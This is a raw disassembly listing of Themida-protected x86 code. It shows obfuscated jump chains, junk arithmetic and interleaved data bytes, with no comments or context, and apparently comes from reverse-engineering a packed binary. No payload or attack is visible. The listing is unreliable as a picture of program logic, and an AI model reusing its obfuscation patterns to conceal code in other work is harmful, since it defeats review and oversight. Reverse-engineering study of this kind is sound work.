0D806923h mov edi, [esp] add esp, 4 jmp loc_550F5F ; --------------------------------------------------------------------------- db 5Bh, 57h, 0BFh dd 1A6E0DC7h, 57B9514Fh, 0E97A457Bh, 0FFFFEFC8h, 51D8005Ah dd 0D96823B5h, 89000059h, 0D7B3241Ch, 31E268h, 24148900h dd 0F6802EB6h, 0FFC6805Ah, 0E9FDC680h, 54D1h ; --------------------------------------------------------------------------- loc_552D08: ; CODE XREF: Themida_:00563509j xor eax, 2FF96F86h jmp loc_552B08 ; --------------------------------------------------------------------------- dw 59BAh dd 0E9540C22h, 0D437h, 69E9DDF7h, 0E900010Ch, 0FFFFE237h ; --------------------------------------------------------------------------- loc_552D28: ; CODE XREF: Themida_:00556555j jz loc_55CE7D push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_563BE1 ; --------------------------------------------------------------------------- dd 0AAC18141h, 0C1433D1Dh, 61E908E1h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_552D4F: ; CODE XREF: Themida_:00556666j add esp, 4 sub edx, 54F47D93h push dword ptr [esp] jmp loc_5530F4 ; --------------------------------------------------------------------------- db 81h dd 0AA9513F5h, 3F66E988h, 0C4810000h, 2, 7437E951h, 0C6810000h dd 23153DC5h, 0EE81C601h, 23153DC5h, 8124048Bh, 4C4h, 8949E900h dd 76BE0000h, 0F7415F04h, 91E681DEh, 0F70B7844h, 9716E9DEh dd 59540000h, 4C181h, 0C1810000h, 4, 5C240C87h, 2C581h dd 2C330000h, 242C3124h, 8B242C33h, 0F662424h, 9C2404B3h dd 0FFE186E9h, 5F0CBDFFh, 0EF2943D3h, 3BED815Dh, 11A1116h dd 3BC581FDh, 0E91A1116h, 10D50h, 4C481h, 7DE90000h, 890000C5h dd 2168243Ch, 89000007h, 18BA2414h, 8160B200h, 1C6C38C2h dd 9EF28146h, 0E994F15Ch, 0A4B7h ; --------------------------------------------------------------------------- loc_552E20: ; CODE XREF: Themida_:0055D8E6j xor ebx, [esp] pop esp jmp loc_557392 ; --------------------------------------------------------------------------- loc_552E29: ; CODE XREF: Themida_:005598E9j xor edx, 14547A06h jmp loc_55D301 ; --------------------------------------------------------------------------- dd 0F1DE7BDh, 4EC837Fh, 0B9240C89h, 255115DDh, 0C8BCD31h dd 4C48324h, 11E39E9h db 0 byte_552E51 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550E88o dd 0E6895624h, 4C681h, 13E90000h, 66000043h, 2404AB0Fh dd 0E0F1E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552E6E: ; CODE XREF: Themida_:005564C1j push edi mov edi, eax push edi xor dword ptr [esp], 411A4246h pop ecx xor ecx, 411A4246h pop edi pop eax add ecx, 7A861EB0h dec ecx shr ecx, 2 and ecx, 2B830CF3h add ecx, 2C090060h add eax, 21C11A9Fh sub eax, ecx sub eax, 21C11A9Fh pop ecx jmp loc_561C45 ; --------------------------------------------------------------------------- aS_7 db '\И"]',0 align 10h dd 79CE95Bh, 0F7660001h, 0C8766D1h, 665B6624h, 0BF66574Bh dd 81661E68h, 667310C7h, 260EC781h, 4E7EE9h, 4BD5500h dd 0E9000000h, 56E1h ; --------------------------------------------------------------------------- loc_552EE0: ; CODE XREF: Themida_:00554B5Cj mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_557071 ; --------------------------------------------------------------------------- loc_552EF5: ; CODE XREF: Themida_:0055F297j sub ecx, ebp pop ebp xchg ecx, [esp] pop esp mov [esp], esi push dword ptr [esp] pop edi jmp loc_55D794 ; --------------------------------------------------------------------------- dd 39E95B5Dh, 59000015h, 121D5E9h, 4C28300h, 0CFF4E9h dd 0E7BA5200h, 81030707h, 0EF07A1EAh, 5CBB5341h, 0E902475Eh dd 0FFFFE7ECh ; --------------------------------------------------------------------------- loc_552F34: ; CODE XREF: Themida_:00565231j sub eax, 6BC703E1h add eax, edx jmp loc_550F8A ; --------------------------------------------------------------------------- dd 93E9F201h, 89000084h, 8AE92414h db 28h, 1, 0 ; --------------------------------------------------------------------------- loc_552F4F: ; CODE XREF: Themida_:0055CD50j push 184h mov [esp], edi push 40000h mov edi, [esp] jmp loc_55220A ; --------------------------------------------------------------------------- dd offset dword_457444+1A324h dd 24148900h, 0FE6BB450h, 0FECCFEC4h, 98B353CCh, 8070B652h dd 0DEF6DACEh, 80E4CE80h, 0F68001C6h, 0E9F330C3h, 0F414h dd 9C508005h, 7982D2Eh, 0D8293642h, 42079805h, 50802D36h dd 1C8B2E9Ch, 4C48324h, 0D51BE9h db 0 ; --------------------------------------------------------------------------- loc_552FB1: ; CODE XREF: Themida_:00551926j add edi, 3E4E61E5h mov eax, [esp] jmp loc_56112A ; --------------------------------------------------------------------------- db 81h dd 0F638DAEBh, 0C6EB8117h, 811A5C0Ch, 0AC78FFEBh, 0B420E929h dd 89500000h, 405E0h, 22D0000h, 87000000h, 248B2404h, 14896624h dd 5335B224h, 0FFF377E9h db 0FFh ; --------------------------------------------------------------------------- loc_552FF5: ; CODE XREF: Themida_:005563D9j mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_5651C0 ; --------------------------------------------------------------------------- db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55DEED ; --------------------------------------------------------------------------- db 81h, 0C7h, 0CCh dd 0FF031E33h, 685E2434h, 0D19h, 89243489h, 4C681E6h, 0E9000000h dd 0A03Fh, 0E372E957h, 0C5810000h, 6A510950h, 7FE6E9h dd 53C8FE00h, 0E5E9ADB7h db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55304B: ; CODE XREF: Themida_:0055F82Bj and ebx, 0A723DCh shl ebx, 2 and ebx, 538F46B2h add ebx, 6B086331h sub edi, 51BF0779h sub edi, ebx add edi, 51BF0779h pop ebx add edi, 395F23F7h add edi, 321F295Bh push edx mov edx, 772B1901h jmp loc_552C74 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 83000000h, 91E904E9h, 0D1000040h, 2FE981E1h dd 31D6132Ch, 0B95159CDh, 25EA4476h, 56E9CF01h, 68000050h dd 1CB1h, 89240489h, 405E0h, 0A8E90000h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5530C3: ; CODE XREF: Themida_:005613F5j push esi mov esi, 68D15990h or ecx, esi pop esi jmp loc_563610 ; --------------------------------------------------------------------------- loc_5530D1: ; CODE XREF: Themida_:00564960j sub ebp, 0FDACBB9h and ecx, ebp mov ebp, [esp] push ebx mov ebx, esp push eax mov eax, 2B0F0F76h shl eax, 8 jmp loc_562E05 ; --------------------------------------------------------------------------- loc_5530ED: ; CODE XREF: Themida_:0055CD94j not ebp jmp loc_561A96 ; --------------------------------------------------------------------------- loc_5530F4: ; CODE XREF: Themida_:00552D5Ej pop esi jmp loc_55E19C ; --------------------------------------------------------------------------- dw 0D301h dd 0A20FE9h, 72C2B800h, 0F829644Dh, 0FAE9815Fh, 8166E52Dh dd 0A6390DC1h, 81C12975h, 0A6390DE9h, 0FAC18175h, 0E966E52Dh dd 0C1C7h, 4507C381h, 0DE29B5C6h, 2764E95Bh, 0C4810001h dd 4, 8704E983h, 71E9240Ch, 0D1000027h, 1DEA81EAh, 293E0227h dd 0C335AD1h, 4606E924h, 148B0000h, 4EC8124h, 89000000h dd 0E389241Ch, 4C381h, 57500000h, 0E8E0E9h, 242C3200h dd 0F6242C30h, 242C30D5h, 30242C32h, 48B242Ch, 4C48124h dd 53000000h, 0EB8033B3h, 80CBFEE1h, 0D82869C3h, 0FFC2885Bh dd 0E9582434h, 0B938h, 5ABF5756h, 0E97B994Eh, 417Ah, 0BD55D0F7h dd 4E624B27h, 0FFE406E9h db 0FFh ; --------------------------------------------------------------------------- loc_5531C1: ; CODE XREF: Themida_:00564B09j push 49DC6618h pop edx not edx sub edx, 2FAD0534h push edi jmp loc_551266 ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 1000000h, 0E9555BD8h, 3B56h, 24148B5Ah, 4C481h, 6CE90000h dd 29FFFFDDh, 835B5DE8h, 1C8904ECh, 2BB24h, 0D8010000h dd 72D9E9h db 0 ; --------------------------------------------------------------------------- loc_553209: ; CODE XREF: Themida_:00562790j push 0D97h mov [esp], eax jmp loc_559819 ; --------------------------------------------------------------------------- word_553216 dw 8B66h ; DATA XREF: Themida_:00550C98o dd 8952240Ch, 4C281E2h, 83000000h, 148704EAh, 24248B24h dd 0E9240489h, 0C13Ah, 89243489h, 0E9F089DEh, 1213h, 0BFE9CD29h dd 68000010h, 656Dh, 0B8240489h, 2, 0EFE9C701h, 5B000120h dd 0B551872Ch, 9EE5806Ch, 5ADE9h, 5DEE0100h, 0FFE246E9h db 0FFh ; --------------------------------------------------------------------------- loc_553271: ; CODE XREF: Themida_:0055DE67j sub ebx, 4 xchg ebx, [esp] jmp loc_55BF7B ; --------------------------------------------------------------------------- dd 4BEh, 5EF70100h, 73F3E9h, 81FA0100h, 0F121C0C2h, 0E50CE962h dd 81520000h, 4ECh, 241C8900h, 62E9C3B3h, 80FFFFEDh, 0E959C3EEh dd 0C3CAh, 84F9F181h, 0FB0552E9h, 29234642h, 9DD9E9C8h dd 0F6810000h, 2C0F3A77h, 6BE9DEF7h, 87000057h, 0E95C243Ch dd 0FFFFDFE1h, 0DE8DEA81h, 0BAE9A103h, 59000075h, 148BD589h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0EDC3815Ch dd 294CDF58h, 0EDEB81EBh, 8B4CDF58h, 0C481242Ch, 4, 268DBA52h dd 0EA813A4Eh, 1, 0F3FDE9h, 4CF28100h, 31701313h, 0C3815AD3h dd 2C2B11A5h, 0E957DBF7h, 89B2h ; --------------------------------------------------------------------------- loc_553338: ; CODE XREF: Themida_:0055B3D5j add ebx, esi pop esi dec ebx jmp loc_553DFC ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 8418C6B8h, 2DD8F739h, 1, 23C77A2Dh, 55E952A6h, 35000119h dd 13563C00h, 4551E981h, 0C1011E09h, 9744E9h, 0E9535700h dd 2B13h, 3E0C158h, 2414F750h, 0E924048Bh, 127CFh, 24148966h dd 121CFE9h, 426B6800h, 14890000h, 0E9BCB224h, 1075Ah ; --------------------------------------------------------------------------- loc_55339C: ; CODE XREF: Themida_:00553565j add ebp, 7E932880h sub ebp, 630A0841h push eax jmp loc_563C28 ; --------------------------------------------------------------------------- dw 0ACE9h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5533B3: ; CODE XREF: Themida_:0055242Cj pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_555C05 ; --------------------------------------------------------------------------- db 5Bh, 0C1h, 0E9h dd 21CE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5533CE: ; CODE XREF: Themida_:0055522Aj add edi, ebx pop ebx sub ebp, edi jmp loc_55BD1A ; --------------------------------------------------------------------------- dd 0FCE9575Dh, 8100005Dh, 5222D5C3h, 0DCC38131h, 5E5BD916h dd 7B0ADC05h, 68D80136h, 739Fh, 2C77E9h, 310B6800h, 2C890000h dd 4BD24h, 6FE90000h db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55340F: ; CODE XREF: Themida_:00552420j pop eax or eax, 50074A06h sub eax, 13A06D17h sub eax, 1DD693E8h push eax pop ebp mov eax, [esp] jmp loc_55CB0C ; --------------------------------------------------------------------------- aL4S db '▀4$И:>',0 dd 2434FF00h, 5E545658h, 4C681h, 0C6810000h, 4, 8CD1E9h db 0 ; --------------------------------------------------------------------------- loc_553449: ; CODE XREF: Themida_:0055A6EBj mov [esp], esi push ebx push edi push ecx push 5CC1210Ch mov ecx, [esp] add esp, 4 jmp loc_5594EB ; --------------------------------------------------------------------------- db 55h dd 8211E9h, 0E9E78900h, 7EAh ; --------------------------------------------------------------------------- loc_55346C: ; CODE XREF: Themida_:00562B63j xor esi, 44EB7669h sub esi, 4DA110B4h push esi pop ecx mov esi, [esp] add esp, 4 push edx mov edx, 5F7375A8h jmp loc_55F3D7 ; --------------------------------------------------------------------------- db 52h dd 0B3E95759h, 8300000Eh, 348704C6h, 55515C24h, 6457E9h dd 0B1ECB700h, 0BEC18035h, 0E980F928h, 0CB005BBEh, 0EB005966h dd 8B49EB80h, 6DE9240Ch, 0F7000121h, 2BC581DDh, 0E973B56Dh dd 0FFFFDAC8h, 0FFDA8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5534D1: ; CODE XREF: Themida_:0055EDE4j mov ecx, [esp] sub esp, 4 mov [esp], edi push 56F3h mov [esp], esp add dword ptr [esp], 4 jmp loc_561C7D ; --------------------------------------------------------------------------- loc_5534EE: ; CODE XREF: Themida_:0055EFEEj push 3BB0h jmp loc_561FA5 ; --------------------------------------------------------------------------- dd 8CE9C301h, 1000013h, 1C8758C3h, 24248B24h, 645768h dd 0C943E900h db 2 dup(0) word_553512 dw 5266h ; DATA XREF: Themida_:00550D48o dd 4C8ACA88h, 54880224h, 8B660224h, 0C4832414h, 2EC8302h dd 241C8966h, 5152CB88h, 3367E9h, 7EFC100h, 726F781h, 0F7810C8Ah dd 0E418F4Eh, 1FE9FA01h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55354B: ; CODE XREF: Themida_:00562374j add ebp, 630A0841h sub ebp, 7E932880h sub ebp, 5121402Ah add ebp, eax add ebp, 5121402Ah jmp loc_55339C ; --------------------------------------------------------------------------- dw 0DD01h dd 4EC815Bh, 89000000h, 46E92404h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55357B: ; CODE XREF: Themida_:0055F23Ej push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5599DA ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 8B240C87h, 0F662424h, 9C2404BBh, 0FFD9B6E9h dd 24348BFFh, 8104C483h, 9C320AC2h, 0C91EE945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5535BA: ; CODE XREF: Themida_:005633F4j mov edi, 4B7B29F1h jmp loc_55C59E ; --------------------------------------------------------------------------- loc_5535C4: ; CODE XREF: Themida_:005541A3j shr ecx, 0Bh push 5FBDh jmp loc_56386D ; --------------------------------------------------------------------------- loc_5535D1: ; CODE XREF: Themida_:00564503j add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx mov ecx, 26E530E4h jmp loc_55B359 ; --------------------------------------------------------------------------- dw 0E1C1h dd 9607E902h, 0E6800000h, 83C6FE19h, 58E904ECh, 1000078h dd 243C8BF8h, 11F11E9h, 8074B600h, 0E950D8CEh, 5214h, 80E95366h dd 89000086h, 65B5240Ch, 5159EE28h, 0EE0073B5h, 41D9E9h db 0 ; --------------------------------------------------------------------------- loc_55362D: ; CODE XREF: Themida_:0055FEB2j pop ecx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55E5E0 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 4, 4EC81h, 79E90000h, 1000011h, 0EE815BDEh, 2661000Ch dd 81243C8Bh, 4C4h, 3D5AE900h, 48F0000h, 34E95C24h, 810000D6h dd 8926E4F5h, 0DC0FE923h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553682: ; CODE XREF: Themida_:005604AEj add esp, 4 jmp loc_55EA1A ; --------------------------------------------------------------------------- dw 0C828h dd 81360459h, 4ECh, 24148900h, 0C280B4B2h, 0D453E910h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5536A2: ; CODE XREF: Themida_:00561AABj pop ebx mov ebx, ecx pop ecx pop ebp push edi jmp loc_5637F9 ; --------------------------------------------------------------------------- loc_5536AD: ; CODE XREF: Themida_:0055D4E5j add ebp, 4 push 655Eh mov [esp], eax push 2DC8h jmp loc_55CB25 ; --------------------------------------------------------------------------- loc_5536C5: ; CODE XREF: Themida_:00555DFAj sub edi, eax pop eax sub edi, 64E166E9h sub edi, esi add edi, 64E166E9h add edi, 4816752Ch push dword ptr [esp] pop esi push esi mov esi, esp push edx mov edx, 4 jmp loc_558777 ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 8B240C33h, 0AF0F2424h, 0E99C51C8h, 0D5CFh dd 0C381D301h, 4B766182h, 6FFAEB81h, 555A1BF7h, 4BDh, 5DEB0100h dd 0C556E9h db 0 ; --------------------------------------------------------------------------- loc_553721: ; CODE XREF: Themida_:005597FBj mov esi, [esp] add esp, 4 add ebp, eax jmp loc_55BC20 ; --------------------------------------------------------------------------- loc_553731: ; CODE XREF: Themida_:005656B0j xchg eax, [esp] mov esp, [esp] push ebx push 76DBh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebx add esp, 4 push eax jmp loc_560456 ; --------------------------------------------------------------------------- db 83h dd 0F74B04C4h, 77F381DBh, 0E9BFF5FFh, 298h, 5EAC166h, 3E2C166h dd 81664266h, 0E925EDF2h, 75B7h, 43E9EF01h, 580000B7h dd 1370E9h, 4BA00h, 0C3810000h, 79B46B36h, 0EB81D301h dd 79B46B36h, 8324148Bh, 525704C4h, 0EE0EECBAh, 4EC8368h dd 0E9243489h, 0FFFFF5E2h, 5157465Bh, 899124B9h, 0E9CF898Ah dd 78BCh, 3E95266h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5537CB: ; CODE XREF: Themida_:00555F70j mov [esp], ebx push edx mov dh, 0ADh sub dh, 0F6h mov bh, dh mov edx, [esp] add esp, 4 shr bh, 2 not bh jmp loc_553CEE ; --------------------------------------------------------------------------- loc_5537E9: ; CODE XREF: Themida_:0055EDEFj push eax mov eax, 6A1B74CFh jmp loc_554149 ; --------------------------------------------------------------------------- dd 0E96ACC80h, 0FFFFE736h, 5AD0315Fh, 48B5950h, 0E7895724h dd 4C781h, 0C7830000h, 0F262E904h, 0E5C00000h, 2E5C007h dd 0C078ED80h, 0EDC006EDh, 51536608h, 0FFDD0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55382D: ; CODE XREF: Themida_:00551A3Cj xor ecx, 0C42469CCh sub esi, ecx mov ecx, [esp] add esp, 4 push esi mov esi, 45C8470Eh sub dword ptr [esp+8], 7B5E5904h sub [esp+8], esi jmp loc_560036 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0BA0Fh, 66D6F766h, 0B81DE957h, 1ABD0000h, 81334109h dd 0DC5B2EF5h, 2AB9E909h, 0BDBB0000h, 29034576h, 2434FFDAh dd 4C4815Bh, 0FF000000h, 4EC8332h, 0BB241C89h, 0B707A4Ch dd 4245C31h, 3E1AE95Bh, 89500000h, 0D3D0E9F8h, 81580000h dd 677459F3h, 0BE3816Ah, 8134F16Bh, 0E06906EBh, 5BDA0100h dd 2BBE953h, 14330000h, 0EC815C24h, 4, 52240C89h, 0F5882CB6h dd 0EDABE95Ah, 4B8FFFFh, 1000000h, 1AE958C6h, 870000FAh dd 0F7E92404h, 66000046h, 0A3B86650h, 834CE92Dh, 835F0000h dd 39E904ECh db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5538FF: ; CODE XREF: Themida_:005553CBj mov [esp], eax push esp pop eax push edx mov edx, 61C2E58h add edx, 0F9E3D1ACh add eax, edx jmp loc_55AA6D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFD643h ; --------------------------------------------------------------------------- loc_55391C: ; CODE XREF: Themida_:00562778j add eax, 40607F3Eh neg eax sub eax, 67F3C2F6h mov ebp, eax pop eax inc ebp push edi mov edi, 7E69722Fh xor ebp, edi pop edi shr ebp, 1 shl ebp, 4 shl ebp, 6 xor ebp, 0A85491D8h add ebx, ebp push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 jmp loc_551F21 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 8904EC83h, 0AABA2414h, 0C12E9733h, 0CA8107E2h dd 26E46DEh, 8107EAC1h, 0F25DB3C2h, 0BFC38161h, 810C4D2Ah dd 7B0049EBh, 0ABF5756h, 4F31E62Dh, 41E2E947h, 0E5800000h dd 45B1E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55399E: ; CODE XREF: Themida_:0055A9EDj push edi jmp loc_555A5C ; --------------------------------------------------------------------------- dd 0B151D3F6h, 0C45E9A4h, 8F660000h, 0D5A9E900h, 4768FFFFh dd 5B7D6F29h, 8101EB83h, 477C57E3h, 8A5EE937h, 4FBB0000h dd 0F76FD414h, 29EB81DBh, 8140C546h, 882342C3h, 47EB8144h dd 29490072h, 241C8BD8h, 8B04C483h, 0C483242Ch, 40504h dd 0FF500000h, 0E9042474h, 0B664h, 0B1E9DF01h, 890000DDh dd 0B8B1240Ch, 83D7C980h, 896602ECh, 26E92414h, 8B000096h dd 0D7E92434h, 0F70000D9h, 0F7A4E9D3h, 0F5810000h, 31E8730Ah dd 685DE929h, 5A63h, 11991E9h, 242C8900h, 791A0A68h, 0DB39E91Fh dd 525A0000h, 0C281E289h, 4, 4C281h, 14870000h, 6CE95C24h db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A63: ; CODE XREF: Themida_:005631FEj add ebx, 0B99C780h jmp loc_562010 ; --------------------------------------------------------------------------- loc_553A6E: ; CODE XREF: Themida_:0055D243j sub edx, 0FA4584Fh pop eax push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_55F169 ; --------------------------------------------------------------------------- loc_553A83: ; CODE XREF: Themida_:0055CB0Dj mov ebp, esp jmp loc_554565 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8B66C830h, 0E950240Ch, 1149Bh, 0D15C681h, 0C68127E7h dd 0A0835B7h, 183DC681h, 0C6012090h, 0A170E9h db 0 ; --------------------------------------------------------------------------- loc_553AB5: ; CODE XREF: Themida_:0055AA3Dj mov ebp, edi pop edi shr ebp, 6 sub esp, 4 mov [esp], ebx mov ebx, 4DFE4CE1h shl ebx, 8 xor ebx, 0B761C2B7h sub ebp, ebx mov ebx, [esp] add esp, 4 push ebx jmp loc_55ECE2 ; --------------------------------------------------------------------------- db 31h dd 0DD8959CBh, 4804E9h, 0FAB6800h, 0CEE90000h db 1Eh, 1, 0 ; --------------------------------------------------------------------------- loc_553AF7: ; CODE XREF: Themida_:005622E3j mov esp, [esp] mov [esp], eax push ecx mov ecx, esp add ecx, 4 jmp loc_564AFF ; --------------------------------------------------------------------------- loc_553B0B: ; CODE XREF: Themida_:0056280Ej shr ebp, 1 inc ebp sub ebp, 0D0E3FFAEh jmp loc_55FD79 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0FF24248Bh, 0B4E92434h db 11h, 2 dup(0) byte_553B27 db 66h ; DATA XREF: Themida_:00550DF4o dd 6824048Bh, 554Fh, 0E9243C89h, 0FFFFE7FCh, 2B850h, 0A4E90000h dd 5E000071h, 6484E9h, 4C48100h, 83000000h, 148702EAh dd 0A3E95C24h db 0B0h, 2 dup(0) byte_553B5B db 66h ; DATA XREF: Themida_:00550D84o dd 0E924048Bh, 0A8D6h, 0E904C283h, 11E38h ; --------------------------------------------------------------------------- loc_553B6C: ; CODE XREF: Themida_:0056307Ej add ebx, ecx add ebx, 152A606Ah jmp loc_562CD6 ; --------------------------------------------------------------------------- db 68h, 2, 0 dd 5FE90000h db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553B83: ; CODE XREF: Themida_:00563DD0j xor eax, 3662B551h add ebx, eax jmp loc_55788D ; --------------------------------------------------------------------------- byte_553B8F db 0FFh ; DATA XREF: Themida_:00550D3Co dd 669D1C77h, 241CD259h, 0D3C1E99Ch, 0C701FFFFh, 3C875A58h dd 24248B24h, 0F525E9h, 13EF8100h, 0E9766A12h, 0B26Ch dd 0E95EF229h, 6584h, 2C8BEE29h, 4C48324h, 0A1DBE9h, 4B95100h dd 1000000h, 240C8BC8h, 1423E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553BDE: ; CODE XREF: Themida_:00563618j pop edx jmp loc_55A215 ; --------------------------------------------------------------------------- dd 0B9240C89h, 469F6CA2h, 0E959CF21h, 10C5h ; --------------------------------------------------------------------------- loc_553BF4: ; CODE XREF: Themida_:00554C04j sub eax, edx mov edx, [esp] add esp, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax jmp loc_5625A3 ; --------------------------------------------------------------------------- loc_553C0D: ; CODE XREF: Themida_:00556779j pop edi add edi, 4 add edi, 4 jmp loc_55D8F3 ; --------------------------------------------------------------------------- db 68h dd 6819h, 83242489h, 5D042404h, 1135DE9h db 0 ; --------------------------------------------------------------------------- loc_553C31: ; CODE XREF: Themida_:0055D800j mov [esp], edx jmp loc_55A268 ; --------------------------------------------------------------------------- db 80h, 0F7h, 0 dd 0F6E9F808h, 8100011Ch, 0FF3D94EDh, 56CD015Fh, 0FF3D94BEh dd 64A2E95Fh, 0BD550000h, 3B100219h, 0FFD5F1E9h, 4C681FFh dd 81000000h, 4C6h, 24348700h, 4C6815Ch, 83000000h, 348702EEh dd 6484E924h, 3C870000h, 2C895C24h, 81E58924h, 4C5h, 9253E900h dd 0F6810000h, 5E141095h, 9D7E9h db 0 byte_553CA1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550DA4o dd 0DD7AE9h, 242C8B00h, 8304C483h, 0C8904ECh, 2474FF24h dd 48F5904h, 24248B24h, 0E99CC884h, 0FFFFD297h, 2414895Ch dd 4DB25250h, 0E95AD088h, 0D8C1h, 0D31EE951h, 0E9560000h dd 0FA59h ; --------------------------------------------------------------------------- loc_553CE4: ; CODE XREF: Themida_:00562EC9j push 150Ah jmp loc_55AF50 ; --------------------------------------------------------------------------- loc_553CEE: ; CODE XREF: Themida_:005537E4j inc bh dec bh add bh, 1 sub bh, 0BDh push edx mov dh, 85h shr dh, 2 not dh neg dh jmp loc_55A114 ; --------------------------------------------------------------------------- dd offset dword_564B68 align 4 aITsd db '┴<$TИ╓р',0 dd 0E6895600h, 4C681h, 0C6830000h, 24348704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5644DF ; --------------------------------------------------------------------------- db 1 aQZSx db 'О]┤<$Иxс',0 align 2 dw 1B9h dd 89000000h, 470959C8h, 2434FF1Ch, 5724048Bh, 0C781E789h dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 103A2E9h dd 5BDF3100h, 0E95FF801h, 0F56Fh ; --------------------------------------------------------------------------- loc_553D78: ; CODE XREF: Themida_:00563F26j or ebx, eax pop eax xchg edi, ebx not edi push ebx push edi pop ebx jmp loc_5549B9 ; --------------------------------------------------------------------------- db 0B9h dd 4C1A76A8h, 422BF181h, 0CA890B8Dh, 405BBF59h, 0D7015674h dd 0E924148Bh, 99CDh ; --------------------------------------------------------------------------- loc_553DA4: ; CODE XREF: Themida_:00564AB4j push ebp push 711Eh mov [esp], esi mov esi, 1CF562B6h push ecx push esi jmp loc_559FB3 ; --------------------------------------------------------------------------- db 43h, 81h, 0C3h dd 0A0D8253Fh, 7DBABD55h, 0B4E95014h, 10000FBh, 5B85E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553DD2: ; CODE XREF: Themida_:00555423j mov dh, 44h jmp loc_55B10F ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4240481h, 5B000000h, 303468h, 243C8900h, 0E904EC83h dd 0AFAEh ; --------------------------------------------------------------------------- loc_553DF4: ; CODE XREF: Themida_:0055720Dj add esp, 4 jmp loc_5589AA ; --------------------------------------------------------------------------- loc_553DFC: ; CODE XREF: Themida_:0055333Cj xor ebx, 76414C15h add ecx, ebx pop ebx jmp loc_5548E9 ; --------------------------------------------------------------------------- dw 0F22Ch dd 83241C8Bh, 0B75304C4h, 80C7FEC7h, 0EF80C6EFh, 80D7F601h dd 0F8002CF7h, 56241C8Bh, 0C681E689h, 4, 1571BA52h, 0E2815988h dd 639A77C2h, 8105EAC1h, 0B905A2C2h, 24F28144h, 0C1607C1Fh dd 0EA8105E2h, 0D72B2CFCh, 19E9D601h, 0F7000012h, 1F781DFh dd 81335F2Bh, 0C33BFFE7h, 99C78101h, 1FEBEDFh, 0EB815FFBh dd 4, 5C241C87h, 52241C89h, 4BAh, 5AD38900h, 8904EC83h dd 0FF5F241Ch, 815B2434h, 4C4h, 5FC28100h, 0E9020137h dd 7FD2h dword_553EA4 dd 24048B66h, 131BE9h, 4BF00h, 75E90000h, 6800003Fh, 0 ; DATA XREF: Themida_:00550DF8o dd 5F243C29h, 112E3E9h, 4C48100h, 68000000h, 5880h, 0BF243C89h dd 4, 51E1ED81h, 23E92A1Bh, 0BB000016h, 483B0910h, 0F6F4C381h dd 0DF29B7C4h, 243C875Bh, 2424895Ch, 7DB9E9h, 28EB2D00h dd 732D3EB3h, 830AA826h, 2C8904ECh, 9112BD24h, 0E9556EA2h dd 2B11h ; --------------------------------------------------------------------------- loc_553F18: ; CODE XREF: Themida_:00556E53j pop eax push eax push 78866A91h jmp loc_564DC1 ; --------------------------------------------------------------------------- dd 0D3F65966h, 0E3C0DBF6h, 53C38005h, 24E9D800h, 81FFFFF3h dd 0D60ACDC3h, 0DDD5E91Ch, 81470000h, 0D6604FE7h, 6FEF8121h dd 0E9D3A2F2h, 7DE1h, 83242489h, 5E042404h, 4C681h, 0C6830000h dd 0D3E95604h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553F6B: ; CODE XREF: Themida_:005544EBj mov eax, 7E5C5141h xor eax, 7E5C515Dh push 1B4Fh mov [esp], esi mov esi, 51D02C2Eh jmp loc_555D40 ; --------------------------------------------------------------------------- loc_553F87: ; CODE XREF: Themida_:005642FDj pop ecx push edi mov edi, 1A8A7245h neg edi xor edi, 3A1466CAh jmp loc_55495F ; --------------------------------------------------------------------------- dd offset dword_533058+210h align 10h dd 